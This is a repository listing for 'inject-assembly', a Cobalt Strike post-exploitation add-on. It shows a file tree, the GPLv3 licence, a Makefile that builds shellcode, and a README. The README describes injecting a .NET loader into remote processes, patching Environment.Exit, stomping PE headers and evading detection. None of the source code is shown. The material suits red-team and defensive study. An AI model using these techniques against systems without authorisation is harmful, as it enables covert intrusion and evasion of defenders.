├── .gitignore
├── LICENSE
├── Makefile
├── README.md
├── demo.gif
├── inject-assembly.cna
├── scripts
├── extract.py
└── hashstring.py
└── src
├── LinkOrder.ld
├── api.h
├── asm
└── start.asm
├── bapi.h
├── bfmain.c
├── bfmain.h
├── bof
├── IABOF.c
└── IAStart.asm
├── clr.h
├── common.h
├── hashes.h
├── labels.h
├── macros.h
├── metahost.h
├── mscoree.h
├── mscorlib.h
├── native.h
├── ols.h
├── pipe.c
├── pipe.h
├── scmain.c
├── scmain.h
├── util.c
└── util.h
/.gitignore:
--------------------------------------------------------------------------------
1 | *.o
2 | *.bin
3 | *.exe
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | CC_X64 := x86_64-w64-mingw32-gcc
2 |
3 | CFLAGS := $(CFLAGS) -Os -fno-asynchronous-unwind-tables -nostdlib
4 | CFLAGS := $(CFLAGS) -fno-ident -fpack-struct=8 -falign-functions=1
5 | CFLAGS := $(CFLAGS) -s -ffunction-sections -falign-jumps=1
6 | CFLAGS := $(CFLAGS) -falign-labels=1 -fPIC -w
7 | LFLAGS := $(LFLAGS) -Wl,-s,--no-seh,--enable-stdcall-fixup,-Tsrc/LinkOrder.ld
8 |
9 | all:
10 | @ nasm -f win64 src/asm/start.asm -o start.x64.o
11 | @ $(CC_X64) src/*.c start.x64.o -o injectassembly.x64.exe $(CFLAGS) -fno-exceptions $(LFLAGS)
12 | @ python3 scripts/extract.py -f injectassembly.x64.exe -o injectassembly.x64.bin
13 | @ nasm -f win64 src/bof/IAStart.asm -o IAStart.x64.o
14 | @ $(CC_X64) src/bof/IABOF.c -c -o IABOF.x64.o -Os -s -Qn
15 | @ x86_64-w64-mingw32-ld -r IABOF.x64.o IAStart.x64.o -o injectassembly.x64.o --enable-stdcall-fixup
16 | @ rm start.x64.o IABOF.x64.o IAStart.x64.o injectassembly.x64.bin injectassembly.x64.exe
17 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # inject-assembly - Execute .NET in an Existing Process
2 | This tool is an alternative to traditional fork and run execution for Cobalt Strike. The loader can be injected into any process, including the current Beacon. Long-running assemblies will continue to run and send output back to the Beacon, similar to the behavior of execute-assembly.
3 |
4 |
5 |
6 |
7 |
8 | There are two components of inject-assembly:
9 | 1. **BOF initializer**: A small program responsible for injecting the assembly loader into a remote process with any arguments passed. It uses BeaconInjectProcess to perform the injection, meaning this behavior can be customized in a Malleable C2 profile or with process injection BOFs (as of version 4.5).
10 |
11 | 2. **PIC assembly loader**: The bulk of the project. The loader will initialize the .NET runtime, load the provided assembly, and execute the assembly. The loader will create a new AppDomain in the target process so that the loaded assembly can be totally unloaded when execution is complete.
12 |
13 | Communication between the remote process and Beacon occurs through a named pipe. The Aggressor script generates a pipe name and then passes it to the BOF initializer.
14 |
15 | ## Notable Features
16 | * Patches Environment.Exit() to prevent the remote process from exiting.
17 | * .NET assembly header stomping (MZ bytes, e_lfanew, DOS Header, Rich Text, PE Header).
18 | * Random pipe name generation based on [SourcePoint](https://github.com/Tylous/SourcePoint).
19 | * No blocking of the Beacon, even if the assembly is loaded into the current process.
20 |
21 | ## Usage
22 | [Download](https://github.com/kyleavery/inject-assembly/releases) and load the inject-assembly.cna Aggressor script into Cobalt Strike. You can then execute assemblies using the following command:
23 | ```
24 | inject-assembly pid assembly [args...]
25 | ```
26 | Specify 0 as the PID to execute in the current Beacon process.
27 |
28 | It is recommended to use another tool, like [FindObjects-BOF](https://github.com/outflanknl/FindObjects-BOF), to locate a process that already loads the .NET runtime, but this is not a requirement for inject-assembly to function.
29 |
30 | ## Warnings
31 | * Currently only supports x64 remote processes.
32 | * There are several checks throughout the program to reduce the likelihood of crashing the remote process, but it could still happen.
33 | * The default Cobalt Strike process injection may get you caught. Consider a custom injection BOF or UDRL IAT hook.
34 | * Some assemblies rely on Environment.Exit() to finish executing. This will prevent the loader's cleanup phase from occurring, but you can still disconnect the named pipe using `jobkill`.
35 | * Uncomment lines 3 or 4 of scmain.c to enable error or verbose modes, respectively. These are disabled by default to reduce the shellcode size.
36 |
37 | ## References
38 | This project would not have been possible without the following projects:
39 | * CLR-related definitions and implementation - [https://github.com/TheWover/donut](https://github.com/TheWover/donut)
40 | * Beacon job interface and project structure - [https://github.com/SecIdiot/netntlm](https://github.com/SolomonSklash/netntlm)
41 |
42 | Other features and inspiration were taken from the following resources:
43 | * [https://github.com/med0x2e/ExecuteAssembly](https://github.com/med0x2e/ExecuteAssembly)
